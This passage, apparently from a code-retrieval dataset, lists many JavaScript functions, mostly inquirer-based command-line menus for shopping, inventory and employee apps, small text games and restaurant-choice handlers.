roles\":\n viewRole();\n break;\n \n case \"Add roles\":\n addRole();\n break;\n \n case \"Add departments\":\n addDep();\n break;\n\n case \"Add employees\":\n addEmp();\n break;\n\n case \"Update employee roles\":\n updateEmpRole();\n break;\n \n case \"Delete roles\":\n deleteRole();\n break;\n \n case \"Delete departments\":\n deleteDep();\n break;\n \n case \"Exit\":\n end();\n break\n }\n });\n }","function handleNewMealRequest(response) {\n // Get a random meal from the random meals list\n var mealIndex = Math.floor(Math.random() * RANDOM_MEALS.length);\n var meal = RANDOM_MEALS[mealIndex];\n\n // Create speech output\n var speechOutput = \"Here's a suggestion: \" + meal;\n\n response.tellWithCard(speechOutput, \"MealRecommendations\", speechOutput);\n}","function travelTypeChange (userInput) { //takes the result from changeDestinationResult and uses the yesOrNo function to give random part of trip the user wishes to switch.\n if(userInput === \"1\"){\n \n randomDestination = yesOrNo(destination,destination);\n \n }\n else if (userInput === \"2\") {\n \n randomRestaurant = yesOrNo(restaurant,restaurant);\n }\n else if (userInput === \"3\") {\n \n randomTravelType = yesOrNo(transportation, transportation);\n }\n else if (userInput === \"4\") {\n \n randomEntertainment = yesOrNo(entertainment,entertainment);\n }\n}","function start() {\n inquirer.prompt({\n name: \"select\",\n type: \"rawlist\",\n message: \"What would you like to do?\",\n choices: [\"VIEW SALES\", \"CREATE NEW DEPARTMENT\", \"DELETE DEPARTMENT\", \"EXIT\"]\n }).then(function (answers) {\n if (answers.select.toUpperCase() === \"VIEW SALES\") {\n viewSales();\n } else if (answers.select.toUpperCase() === \"CREATE NEW DEPARTMENT\") {\n newDepartment();\n } else if (answers.select.toUpperCase() === \"DELETE DEPARTMENT\") {\n deleteDepartment();\n } else {\n // Selecting \"EXIT\" just takes the user here\n connection.end();\n }\n });\n}","function nextAction() {\n\tinquirer.prompt({\n\t\tmessage: \"What would you like to do next?\",\n\t\ttype: \"list\",\n\t\tname: \"nextAction\",\n\t\tchoices: [\"Add More Items\", \"Remove Items\", \"Alter Item Order Amount\", \"Survey Cart\", \"Checkout\"]\n\t})\n\t\t.then(function (actionAnswer) {\n\t\t\tswitch (actionAnswer.nextAction) {\n\t\t\t\tcase \"Add More Items\":\n\t\t\t\t\t// go to the start function\n\t\t\t\t\tstart();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Remove Items\":\n\t\t\t\t\t// go to the removal function\n\t\t\t\t\tremoveItem();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Checkout\":\n\t\t\t\t\t// go to the checkout tree;\n\t\t\t\t\tverifyCheckout();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Alter Item Order Amount\":\n\t\t\t\t\t// go to the function that alters the shopping cart qty\n\t\t\t\t\talterItem();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Survey Cart\":\n\t\t\t\t\t// look at the cart\n\t\t\t\t\tcheckoutFunction();\n\t\t\t\t\tbreak;\n\t\t\t\tdefault: console.log(\"how did you get here?\")\n\t\t\t}\n\t\t})\n}","function anotherAction() {\n\n inquirer\n .prompt([\n {\n name: \"confirm\",\n type: \"confirm\",\n message: \"Would you like to complete another action?\"\n }\n ])\n .then(function (answer) {\n if (answer.confirm == true) {\n showMenu();\n }\n else {\n console.log(\"Goodbye.\");\n connection.end();\n }\n\n });\n\n}","onSelectRestaurant(restaurant){\n \n this.infoWindow.setContent(` ${restaurant.name} ${restaurant.address} `)\n this.infoWindow.open(this.map,this.markers.find(m=>m.restaurant.address === restaurant.address));\n }","function askForMenuOption() {\n\tlet selection = PROMPT.question(\" >> \");\n\tswitch (selection) {\n\t\tcase \"new\":\n\t\t\taddNewMovie();\n\t\t\taddMovieRating(movies.length - 1);\n\t\t\tbreak;\n\t\tcase \"sort\":\n\t\t\tsetSortOrder();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tif (selection == \"\" || (!MOVIE_ID_REGEX.test(selection) || selection > movies.length)) {\n\t\t\t\tconsole.log(\"--- Movie ID invalid - Try again ---\");\n\t\t\t\taskForMenuOption();\n\t\t\t}\n\t\t\taddMovieRating(Number(selection) - 1);\n\t\t\tbreak;\n\n\t}\n}","function _wantToGoFunction() {\n if (vm.dataCheck) {\n\n for (var i = 0; i < vm.dataCheck.length; i++) {\n\n if (vm.dataCheck[i].favoriteType == 2) {\n\n vm.$alertService.warning('Already in your \"Want To Go\" list!');\n }\n }\n\n } else {\n\n vm.favoriteTypeData = {\n favoriteType: 2,\n placeId: vm.place.id\n }\n\n vm.$userFavoritePlacesService.apiPostUserFavoritePlaces(vm.favoriteTypeData, vm.onFavoriteSuccess, vm.onFavoriteError);\n }\n }","function continueorquit(data) {\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"CorQ\",\n message: \"Would you like to Add Another employee\",\n choices: ['Yes', 'No']\n },\n ])\n .then(quitData => {\n switch (quitData.CorQ) {\n case 'Yes': getEmployee()\n break\n case 'No': createWebsite()\n break\n }\n })\n\n\n}","function another() {\n inquirer\n .prompt(\n {\n name: 'another',\n type: 'confirm',\n message: 'Would you like to continue shopping?'\n },\n\n )\n .then(function (answer) {\n if (answer.another === true) {\n start();\n } else {\n console.log('Thanks for shopping with us! Your orders will be shipped promptly.')\n connection.end();\n }\n });\n\n}","function promptAction() {\n inquirer.prompt([{\n type: 'list',\n message: 'Select from list below what action you would like to complete.',\n choices: ['View Products for Sale', 'View Low Inventory', 'Add to Inventory', 'Add New Product'],\n name: \"action\"\n }, ]).then(function(selection) {\n switch (selection.action) {\n case 'View Products for Sale':\n viewAllProducts();\n break;\n\n case 'View Low Inventory':\n lowInventoryList();\n break;\n\n case 'Add to Inventory':\n addInventory();\n break;\n\n case 'Add New Product':\n addNewProduct();\n break;\n }\n }).catch(function(error) {\n throw error;\n });\n}","function systemSelection(option){\n\tvar check = option; \n\tif(vehicleFuel<=0){\n\t\tgameOverLose();\n\t}\n\n\telse{\n\n\n\tif(currentLocation===check){\n\t\t\tgamePrompt(\"Sorry Captain, You're already there or have been there. I will return you to the main menu to make another choice\",beginTravel);\n\t\t\t}\n\n\telse{\n\t\n\t\t\tif(check.toLowerCase() === \"e\"){\n\t\t\t\tvehicleFuel=(vehicleFuel-10);\n\t\t\t\tcurrentLocation=\"e\" ;\n\t\t\t\tgamePrompt(\"Flying to Earth...You used 10 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToEarth);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"m\"){\n\t\t\t//need to add a 'visited' conditional\n\t\t\tvehicleFuel=(vehicleFuel-20);\n\t\t\tcurrentLocation=\"m\" ;\n\t\t\t\tgamePrompt(\"Flying to Mesnides...You used 20 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\", goToMesnides);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"l\"){\n\t\t\tvehicleFuel=(vehicleFuel-50);\n\t\t\tcurrentLocation=\"l\" ;\n\t\t\tgamePrompt(\"Flying to Laplides...You used 50 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToLaplides);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"k\"){\n\t\t\tvehicleFuel=(vehicleFuel-120);\n\t\t\tcurrentLocation=\"k\" ;\n\t\t\tgamePrompt(\"Flying to Kiyturn...You used 120 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToKiyturn);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"a\"){\n\t\t\tvehicleFuel=(vehicleFuel-25);\n\t\t\tcurrentLocation=\"a\";\n\t\t\tgamePrompt(\"Flying to Aenides...You used 25 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToAenides);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"c\"){\n\t\t\tvehicleFuel=(vehicleFuel-200);\n\t\t\tcurrentLocation=\"c\" ;\n\t\t\tgamePrompt(\"Flying to Cramuthea...You used 200 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToCramuthea);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"s\"){\n\t\t\tvehicleFuel=(vehicleFuel-400);\n\t\t\tcurrentLocation=\"s\" ;\n\t\t\tgamePrompt(\"Flying to Smeon T9Q...You used 400 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToSmeon);\n\t\t\t}\n\t\telse if(check.toLowerCase() === \"g\"){\n\t\t\tvehicleFuel=(vehicleFuel-85);\n\t\t\tcurrentLocation=\"g\" ;\n\t\t\tgamePrompt(\"Flying to Gleshan 7Z9...You used 85 gallons of gas. The \"+ vehicleName +\" now has \"+vehicleFuel+ \" gallons.\",goToGleshan);\n\t\t\t}\n\t\telse{\n\t\t\tgamePrompt(\"Sorry Captain, I did not understand you. I will return you to the main menu\",beginTravel);\n\t\t}\n\t}\n\t}\n}","function askAgain(){\n\tconsole.log(\"=============================================================\");\n\tinquirer.prompt([\n\t\t{\n\t\t\ttype: \"confirm\",\n\t\t\tname: \"confirm\",\n\t\t\tmessage: \"Would you like to do another task?\",\n\t\t\tdefault: false\n\t\t}\n\t]).then(function(again){\n\t\tif (again.confirm){\n\t\t\tsupervisorOptions();\n\t\t}\n\t\telse{\n\t\t\tconsole.log(\"All tasks are done.\");\n\t\t\t// Exits node program execution\n\t\t\tprocess.exit();\n\t\t}\n\t});\n}","prompt() {\n // Fetch appointment types from Acuity\n acuity.request('/appointment-types', function (err, res, appointmentTypes) {\n\n // Build some buttons for folks to choose a class\n const replies = appointmentTypes\n // Filter types for public classes\n .filter(appointmentType => appointmentType.type === 'class' && !appointmentType.private)\n // Create a button for each type\n .map(appointmentType => client.makeReplyButton(\n appointmentType.name,\n null,\n 'bookClass',\n {appointmentTypeID: appointmentType.id}\n ));\n\n // Set the response intent to prompt to choose a type\n client.addResponseWithReplies('prompt/type', null, replies);\n\n // End the asynchronous prompt\n client.done();\n });\n }","function fancyRestauratMenu() {\n subTitle.innerText = fancyRestaurantWelcome;\n firstButton.classList.add(\"hidden\");\n secondButton.classList.add(\"hidden\");\n fancyDiv.classList.remove(\"hidden\");\n\n handleFancyRestaurantChoice();\n}","function start() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"What would you like to do?\",\n choices: [\"Purchase Items\", \n \"Exit\"],\n }\n ]).then(function(answer) {\n\n // Based on the selection, the user experience will be routed in one of these directions\n switch (answer.choice) {\n case \"Purchase Items\":\n displayItems();\n break;\n case \"Exit\":\n exit();\n break;\n }\n });\n} // End start function","function anythingElse() {\n inquirer\n .prompt([\n {\n type: \"confirm\",\n message: \"Anything Else?\",\n name: \"choice\"\n }\n ])\n .then(res => {\n if (res.choice) {\n displayProducts();\n } else {\n console.log(\"Thank You!\");\n console.log(`Total: $${total}`);\n connection.end();\n }\n });\n}","function fightOrCave() {\n\n let whereNext = prompt(\"Vart vill du gå nu? Ange fight för att gå och bekämpa monstret eller grottan för att gå till grottan\").toLowerCase();\n\n if (whereNext === \"grottan\"){\n goToCaveSecondTime();\n }\n else if (whereNext === \"fight\") {\n alert(\"Oops, du har ju inte skölden än... Du måste hämta den först. Klicka ok för att gå till grottan.\")\n goToCaveSecondTime();\n }\n else {\n alert(\"Vänligen ange fight eller grottan\")\n fightOrCave()\n }\n\n \n}","function promptOptions() {\n inquirer.prompt([\n {\n type: \"list\",\n message: \"Would you like to ... ?\",\n choices: [\"Continue Shopping\", \"Update Cart\", \"Checkout\"],\n name: \"choice\"\n }\n ]).then(function (option) {\n switch (option.choice) {\n case \"Continue Shopping\":\n promptBuy();\n break;\n case \"Update Cart\":\n updateCart();\n break;\n case \"Checkout\":\n checkout();\n break;\n }\n });\n}","function endStart(){\n inquirer.prompt({\n name: \"confirm\",\n type: \"confirm\",\n message: \"continue shopping?\",\n // default: true\n }).then(function (data) {\n if (data.confirm === false)\n \n process.exit();\n else \n start();\n });\n}","function managerOptions() {\n inquirer.prompt([\n {\n type: \"checkbox\",\n name: \"managerTask\",\n message: \"Hi manager. What would you like to do?\",\n choices: [\"View products for sale\", \"View low inventory\", \"Add to inventory\", \"Add New Product\"]\n }\n ]).then(function (manager) {\n var task = manager.managerTask;\n if (task == \"View products for sale\") {\n viewProducts();\n }\n else if (task == \"View low inventory\") {\n lowinventory();\n }\n else if (task == \"Add to inventory\") {\n addToInvetory();\n }\n else if (task == \"Add New Product\") {\n addProduct();\n }\n });\n}","function returnToMenu() {\n\tinquirer.prompt({\n\t\tname: \"choice\",\n\t\ttype: \"confirm\",\n\t\tmessage: \"Would you like to return to the menu?\"\n\n\t}).then(function(input) {\n\t\tif (input.choice === true) {\n\t\t\tmenu();\n\t\t} else {\n\t\t\tconnection.end();\n\t\t}\n\t})\n}","function menuoption(){\n inquirer.prompt({\n type: \"list\",\n name : \"menu\",\n message : \"What do you want to see ?\",\n choices : [\"\\n\",\"View Products for Sale\",\"View Low Inventory\",\"Add to Inventory\",\"Add New Product\"]\n\n }).then(function(answer){\n // var update;\n // var addnew;\n console.log(answer.menu);\n //if else option to compare user input and call the required function\n if(answer.menu == \"View Products for Sale\" ){\n showitem();\n }else if(answer.menu == \"View Low Inventory\"){\n \n lowinventory();\n }else if(answer.menu == \"Add to Inventory\"){\n updateinventory();\n // updateonecolumn(itemidinput);\n }else if(answer.menu == \"Add New Product\"){\n addnewproduct();\n }\n \n });\n }","function shop() {\n\n inquirer.prompt([{\n name: \"menu\",\n type: \"list\",\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Update Inventory\", \"Add New Product\"]\n }]).then(function (answer) {\n\n switch (answer.menu) {\n case \"View Products for Sale\":\n forSale();\n break;\n\n case \"View Low Inventory\":\n lowStock();\n break;\n\n case \"Add New Product\":\n addThing();\n break;\n\n case \"Update Inventory\":\n moreStuff();\n break;\n }\n });\n}","buildGoOption(term) {\n let isValidPatp = urbitOb.isValidPatp(term.substr(1));\n let isStation = isValidStation(term);\n let details = isStation && getStationDetails(term);\n // use collection description if it's a collection\n let displayTextTerm = isStation ? details.type == 'text' ? `${details.station.split(\"/\")[0]} / ${details.stationTitle}` : details.station.split(\"/\").join(\" / \") : term;\n\n let displayText = `go ${displayTextTerm}`;\n let helpText = isStation ?\n `Go to ${details.cir} on ~${details.host}` :\n `Go to the profile of ${term}`\n\n return {\n name: `go ${term}`,\n action: () => {\n let targetUrl;\n if (isValidPatp) {\n targetUrl = profileUrl(term.substr(1))\n this.props.transitionTo(targetUrl);\n } else if (isStation) {\n targetUrl = (details.type === \"text-topic\") ? details.postUrl : details.stationUrl\n this.props.transitionTo(targetUrl);\n }\n },\n displayText,\n helpText\n };\n }","function handle_again() {\n var current = current_selection();\n // call the initiator function on the current selection\n window.initiate_fcn(current, $(featherlight_selector()).get(0));\n}","function menu() {\n var option = parseInt(prompt('Choississez une option :'));\n\n do {\n if (option == 1) {\n list(), navigation();\n var option = parseInt(prompt('Choississez une option :'));\n } else if (option == 2) {\n addContact();\n var option = parseInt(prompt('Choississez une option :'));\n }\n } while (option != 3)\n alert(\"Aurevoir et à bientot !\");\n}","function askToContinue() {\n\t\tinquirer\n\t\t\t.prompt([\n\t\t\t\t{\n\t\t\t\t\ttype: 'confirm',\n\t\t\t\t\tmessage: 'Do you want to play again?',\n\t\t\t\t\tname: 'confirm',\n\t\t\t\t\tdefault: true\n\t\t\t\t}\n\t\t\t])\n\t\t\t.then(function(response) {\n\t\t\t\tif (response.confirm === true) {\n\t\t\t\t\tstartGame();\n\t\t\t\t} \n\t\t\t});\n\t}","function cardMakeContinue() { // function that asks to continue making cards//\n\tinquirer.prompt({\n\t\t\ttype: \"list\",\n\t\t\tmessage:\"\\nContinue? Yes or No \",\n\t\t\tchoices: [\"Yes\", \"No\"],\n\t\t\tname: \"ynChoices\"\n\t\t\t}).then(function(continuebasicYN){\n\t\t\tvar ynChoices = continuebasicYN.ynChoices;\n \t\n\t\t\tif (ynChoices === \"Yes\") \n\t\t\t\t{\n\t\t\t\tgetInfo(loop); // calls function to enter another card\n\t\t\t\t}\n\t\t\t\telse \n\t\t\t\t{ console.log(\"Good Job, you are finished!\");\n\t\t\t\t}\n\t\t\t}) // close cardMakecontinue prompts\n\n\t\t}","function frostingChoice(item) {\n frostingChosen = true;\n if (typeof preFrostingChoice !== 'undefined'){\n preFrostingChoice.style.backgroundColor = \"white\";\n }\n\n item.style.backgroundColor = \"lightgray\";\n preFrostingChoice = item;\n\n checkPrice();\n}","function keepShopping(){\n inquirer.prompt([\n {\n type: \"confirm\",\n message: \"do you want to keep shopping for beers?\",\n name: \"confirm\"\n }\n ]).then(function(res){\n if (res.confirm){\n console.log(\"----------------\");\n showProducts();\n } else {\n console.log('Thank you for shopping in our online bar, happy drinking!');\n connection.end();\n }\n })\n}","function promptContinue(){\n return inquirer.prompt([\n {\n type: \"list\",\n name: \"Job\", \n choices: [\"Engineer\", \"Intern\", \"Finish building my team\"]\n },\n])\n.then((answers) => {\n if(answers.Job === \"Engineer\"){\n promptEngineer();\n } else if (answers.Job === \"Intern\"){\n promptIntern();\n } else {\n generate.generateHTML(employeeArray);\n console.log(\"Your team is being built!\")\n }\n})\n}","async promptForMenu(step) {\n return step.prompt(MENU_PROMPT, {\n choices: [\"Donate Food\", \"Find a Food Bank\", \"Contact Food Bank\"],\n prompt: \"Do you have food to donate, do you need food, or are you contacting a food bank?\",\n retryPrompt: \"I'm sorry, that wasn't a valid response. Please select one of the options\"\n });\n }","function askUser() {\n inquirer.prompt(\n {\n name: \"action\",\n message: \"WHAT WOULD YOU LIKE TO DO?\",\n type: \"list\",\n choices: [\"BROWSE ITEMS\", \"EXIT\"]\n }\n ).then(function (answer) {\n switch (answer.action) {\n case \"BROWSE ITEMS\":\n showItems();\n break;\n\n case \"EXIT\":\n connection.end();\n break;\n }\n });\n}","function checkIfVacationNeedsReplacement(bool){\n let ask;\n let empty = \"\";\n if (bool === true){\n alert(\"Enjoy your Vacation!\");\n loopBreak = true;\n return empty;\n }\n else{\n ask = prompt(\"What part of your vacation would you like to replace? Type destination, food, transportation, entertainment, all, or done.\");\n return ask;\n }\n}","function goToAenides(){\n\t\tif(visitedAen===0){\n\t\t\tvisitedAen=1;\n\t\t\t// artifacts=1;\n\t\t\tgamePrompt(\"You discover upon arrival to Aenides that they are a hostile people. You attempt to land, but they begin to fire upon your S.R.S.V. and you are forced to retreat.\",beginTravel);\n\t\t}else{\n\t\t\tgamePrompt([\"You've already been here!\",\"Where to next?\"],beginTravel);\n\t\t}\n}","function foodRunnerSelector() {\n \n if (document.getElementById(\"foodRunnerYes\").checked == true) {\n\tdoTipFoodRunner = true;\n\tdocument.getElementById(\"foodRunnerConfirm\").innerHTML = \"Food Runner will be tipped out\";}\n else { \n\tdoTipFoodRunner = false;\n\tdocument.getElementById(\"foodRunnerConfirm\").innerHTML = \"No tip out for Food Runner\"; \n }\n return doTipFoodRunner\n}","function optionMenu(){\n inquirer\n .prompt({\n name: \"menu\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View Products for Sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Product\",\n \"Nothing, I've changed my mind.\"\n ]\n })\n .then(function(answer) {\n switch(answer.menu){\n case \"View Products for Sale\":\n showProducts();\n\n // continuePrompt is delayed to allow showProducts to be completed\n setTimeout(continuePrompt,300);\n break;\n\n case \"View Low Inventory\":\n lowInventory();\n\n // continuePrompt is delayed to allow lowInventory to be completed\n setTimeout(continuePrompt,300);\n break;\n\n case \"Add to Inventory\":\n showProducts()\n\n // addInventory is delayed to allow lowInventory to be completed\n setTimeout(addInventory,300);\n break;\n\n case \"Add New Product\":\n newProduct();\n break;\n\n case \"Nothing, I've changed my mind.\":\n console.log(\"\\nHave a nice day!\\n\");\n connection.end();\n break;\n }\n });\n}","function confirmGoalsAndContinue() {\n if ($('.js-goal-rank').length > 1) {\n reorderItems('#goal-rank-num li', '#sortable-goals');\n }\n //Make sure the number labels are in the proper order, the user might navigate back to goal ranking using the back button\n utility.getInitialOrder('#goal-rank-num li');\n SALT.trigger('goalrank:updated');\n $('#js-rank-container').removeClass('active-panel');\n $('.js-onboarding-exit, .outer-progress-meter-wrapper').show();\n //Show the first Q+A panel now that goal rank is hidden\n $('.js-profileQA-container').children().first().addClass('active-panel');\n focusFirstInput();\n //Scroll to the top of the screen in case so that the user is always seeing the top of the new panel\n $('html, body').animate({scrollTop: 0}, 300);\n initializeProgressMeter();\n }","function noInventoryOptions() {\n inquirer.prompt([\n {\n type: \"list\",\n message: \"Do you want to choose a new item or quit?\",\n choices: [\"NEW-ITEM\", \"QUIT\"],\n name: \"startAgain\"\n }\n ])\n .then(function(answer6) {\n if (answer6.startAgain == \"NEW-ITEM\") {\n displayProducts(); \n }\n if (answer6.startAgain == \"QUIT\") {\n console.log(\"Thank you. Good-bye!\");\n connection.end();\n }\n });\n}","function onAfterLocationUpdate() {\n $.fancybox.showLoading(getLabel('ajax.finding-restaurants'));\n location.href = ctx + '/app/' + getLabel('url.find-takeaway') + '/session/loc';\n}","function returntoMenu() {\n inquirer.prompt({\n name: 'return',\n type: 'rawlist',\n choices: [\"Return to Main Menu\", \"Exit\"],\n message: \"Would you like to return to main menu or exit?\"\n }).then(function(answer){\n if (answer.return === \"Return to Main Menu\") {\n start();\n }\n else {\n connection.end();\n }\n })\n}","function askAgain() {\n\n inquirer\n .prompt({\n name: \"nextSteps\",\n type: \"list\",\n message: \"Would you like to continue shopping?\",\n choices: [\"YES\", \"NO\"]\n })\n .then(function(answer) {\n \n if (answer.nextSteps.toUpperCase() === \"NO\") {\n\n console.log(chalk.yellow(\"\\nHope you had a pleasant experience. Come again soon!\\n\"));\n\n //turns off the connection from db\n connection.end();\n }\n\n else {\n\n \t//the first function is called again\n \treadProducts();\n\n\n } \n\n });\n}","function options() {\n inquirer\n .prompt({\n name: \"departmentOfManagers\",\n type: \"list\",\n message: \"Which saleDepartment you are looking for ?\",\n choices: [\"Products of sale\", \"Low Inventory\", \"Add to Inventory\", \" Add New Product\"]\n })\n .then(function(answer) {\n // based on their answer of functions\n if (answer.options === \"Products of sale\") {\n viewSaleProduct();\n }\n else if(answer.options === \"Low Inventory\") {\n lowInventory();\n }\n else if(answer.options === \"Add to Inventory\") {\n addInventory();\n } \n else if(answer.options === \"Add New Product\") \n {\n addNewProduct();\n } else{\n connection.end();\n }\n });\n}","function chooseFoodQuiz() {\n $(foodQuiz).click();\n questions = foodQuestions;\n finalQuestion = foodQuestions.length - 1;\n startQuiz();\n}","function nextPrompt(){\n inquirer.prompt([\n {\n name: \"status\",\n type: \"list\",\n message: \"Buy more?\",\n choices: [\"Buy more\", \"Exit\"]\n }\n ]).then(answer => {\n if(answer.status === \"Buy more\"){\n displayInventory();\n promptBuy();\n } else{\n console.log(\"Thank you. Goodbye.\");\n connection.end();\n }\n })\n}","function chooseAction() {\n\tinquirer\n\t\t.prompt({\n\t\t\tname: \"action\", \n\t\t\ttype: \"rawlist\", \n\t\t\tmessage: \"What do you want to do?\", \n\t\t\tchoices: [\"VIEW PRODUCTS\", \"VIEW LOW INVENTORY\", \"ADD TO INVENTORY\", \"ADD NEW PRODUCT\", \"QUIT\"]\n\t\t})\n\t\t.then(function(ans) {\n\t\t\tif(ans.action.toUpperCase() ===\"VIEW PRODUCTS\") {\n\t\t\t\tviewProducts(); \n\t\t\t} \n\t\t\telse if (ans.action.toUpperCase() === \"VIEW LOW INVENTORY\") {\n\t\t\t\tviewLowInventory(); \n\t\t\t}\n\t\t\telse if (ans.action.toUpperCase() === \"ADD TO INVENTORY\") {\n\t\t\t\taddInventory(); \n\t\t\t}\n\t\t\telse if (ans.action.toUpperCase() === \"ADD NEW PRODUCT\") {\n\t\t\t\taddNewProduct(); \n\t\t\t}\n\t\t\telse {\n\t\t\t\tendConnection(); \n\t\t\t}\n\t\t})\n}","function mainMenu(){\n inquirer.prompt([\n {\n name: \"mainOptions\",\n type: \"list\",\n message:\"What would you like to do?\",\n choices: [\"View Products\", \"View Low Inventory Products\", \"Add Product Inventory\", \"Add New Product\", \"Exit\"]\n }\n ]).then(function(answer){\n switch (answer.mainOptions) {\n case \"View Products\":\n displayInventory();\n break;\n case \"View Low Inventory Products\":\n displayLowInv();\n break;\n case \"Add Product Inventory\":\n addInventory();\n break;\n case \"Add New Product\":\n addProduct();\n break;\n case \"Exit\":\n console.log(\"***********************************************************\");\n console.log(\"* Have a productive day :-) *\");\n console.log(\"***********************************************************\");\n connection.end();\n };\n });\n}","function managerPrompt() {\n inquirer\n .prompt({\n name: \"action\",\n type: \"list\",\n message: \"Hello Bamazon manager, what would you like to do today?\",\n choices: [\n \"View Products for sale?\",\n \"View Low Inventory?\",\n \"Add to Inventory?\",\n \"Add a New Product?\"\n ]\n })\n .then(function(answer) {\n switch (answer.action) {\n case \"View Products for sale?\":\n viewAllProducts();\n break;\n\n case \"View Low Inventory?\":\n viewLowInventory();\n break;\n\n case \"Add to Inventory?\":\n addInventory();\n break;\n\n case \"Add a New Product?\":\n addNewProduct();\n break;\n }\n\n });\n\n}","function userSearch() {\n\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"What would you like to do:\",\n choices: [\"View product sales by Department\", \"Create new department\", \"Exit Supervisor Mode\"]\n }\n\n ]).then(function (manager) {\n\n switch (manager.choice) {\n case \"View product sales by Department\":\n viewDepartments();\n break;\n \n case \"Create new department\":\n addNewDepartment();\n break;\n\n case \"Exit Supervisor Mode\":\n console.log(\"\\nSee ya later!\\n\");\n connection.end ();\n break;\n }\n\n });\n\n}"],"string":"[\n \"function handleFancyRestaurantChoice() {\\n /** @type {HTMLInputElement} Input field. */\\n const dishInput = document.getElementById(\\\"dish-input\\\").value;\\n const fancyMenu = [\\\"pizza\\\", \\\"paella\\\", \\\"pasta\\\"]\\n\\n if(dishInput == fancyMenu[0]) {\\n restaurantClosing();\\n } else if (dishInput == fancyMenu[1]) {\\n restaurantClosing();\\n } else if (dishInput == fancyMenu[2]) {\\n restaurantClosing();\\n } else {\\n fancyRestauratMenu();\\n }\\n}\",\n \"function handleFastRestaurantChoice() {\\n /** @type {HTMLInputElement} Input field. */\\n const fastDishInput = document.getElementById(\\\"fast-input\\\").value;\\n const fastfoodMenu = [\\\"cheeseburger\\\", \\\"doubleburger\\\", \\\"veganburger\\\"]\\n\\n if(fastDishInput == fastfoodMenu[0]) {\\n restaurantClosing();\\n } else if (fastDishInput == fastfoodMenu[1]) {\\n restaurantClosing();\\n } else if (fastDishInput == fastfoodMenu[2]) {\\n restaurantClosing();\\n } else {\\n fastFoodRestaurantScene();\\n }\\n}\",\n \"function option() {\\n\\tinquirer\\n\\t\\t.prompt(\\n\\t\\t\\t{\\n\\t\\t\\t\\tname: \\\"option\\\",\\n\\t\\t\\t\\ttype: \\\"rawlist\\\",\\n\\t\\t\\t\\tmessage: \\\"Would you like to continue to shop?\\\",\\n\\t\\t\\t\\tchoices: [\\\"yes\\\", \\\"no\\\"]\\n\\t\\t\\t}\\n\\t\\t)\\n\\t\\t.then(function (answer) {\\n\\t\\t\\tif (answer.option === \\\"yes\\\") {\\n\\t\\t\\t\\tdisplayProducts();\\n\\t\\t\\t}\\n\\n\\t\\t\\telse {\\n\\t\\t\\t\\tconsole.log(\\\"Thank you for shopping with us at Bamazon, now get the hell out of here!\\\")\\n\\t\\t\\t\\tconnection.end()\\n\\t\\t\\t}\\n\\t\\t})\\n}\",\n \"function changeRestaurant() {\\n if (selectedRestaurant < rRestaurants.length - 1) {\\n const next = selectedRestaurant + 1;\\n dispatch(setSelectedRestaurant(next));\\n } else {\\n dispatch(setSelectedRestaurant(0));\\n }\\n }\",\n \"function selectRestaurant() {\\n let restaurant = document.getElementById(\\\"dropdown\\\").firstChild.value;\\n let clear;\\n if (restaurant === null) {\\n return;\\n } else if (Object.keys(order.items).length > 0) {\\n //Confirm the if the user wants to proceed to clear the order\\n clear = confirm(\\\"Would you like to clear the current order?\\\");\\n if(!clear) {\\n document.getElementById(\\\"dropdown\\\").firstChild.value = \\\"\\\";\\n return;\\n }\\n }\\n\\n clearOrder(true);\\n\\n changeRestaurant(restaurant);\\n\\n}\",\n \"function restartMenu(){\\n\\tinquirer.prompt([{\\n\\t\\ttype: \\\"confirm\\\",\\n\\t\\tname: \\\"restartSelection\\\",\\n\\t\\tmessage: \\\"Would you like to continue shopping?\\\"\\n\\t}]).then(function(restartAnswer){\\n\\t\\tif (restartAnswer.restartSelection === true) {\\n\\t\\t\\tcustomerMenu();\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\tconsole.log(\\\"Thank you for shopping!\\\\nYour total is $\\\" + totalCost); \\n\\t\\t}\\n\\t});\\n}\",\n \"async promptForFood(step) {\\n if (step.result && step.result.value === 'yes') {\\n\\n return await step.prompt(FOOD_PROMPT, `Tell me what kind of food would you prefer ?`,\\n {\\n retryPrompt: 'Sorry, I do not understand or say cancel.'\\n }\\n );\\n } else {\\n return await step.next(-1);\\n }\\n}\",\n \"generateRestaurant(){\\n// we want the user to input the zipcode they want to search, the food type they want to eat\\n// and the rating (1-5) \\n// getRestaurants()\\n\\n\\n}\",\n \"function selectRestaurant(){\\r\\n\\tlet select = document.getElementById(\\\"restaurant-select\\\");\\r\\n\\tlet name = select.options[select.selectedIndex]\\r\\n\\t//checks for undefined\\r\\n\\tif (name !== undefined){\\r\\n\\t\\t//creates custom url that tells server what the currently selected restaurant is\\r\\n\\t\\tname= select.options[select.selectedIndex].text;\\r\\n\\t\\tname = name.replace(/\\\\s+/g, '-');\\r\\n\\t\\tlet request = new XMLHttpRequest();\\r\\n\\t\\r\\n\\t\\trequest.onreadystatechange = function(){\\t\\r\\n\\t\\t\\tif(this.readyState == 4 && this.status == 200){ //if its 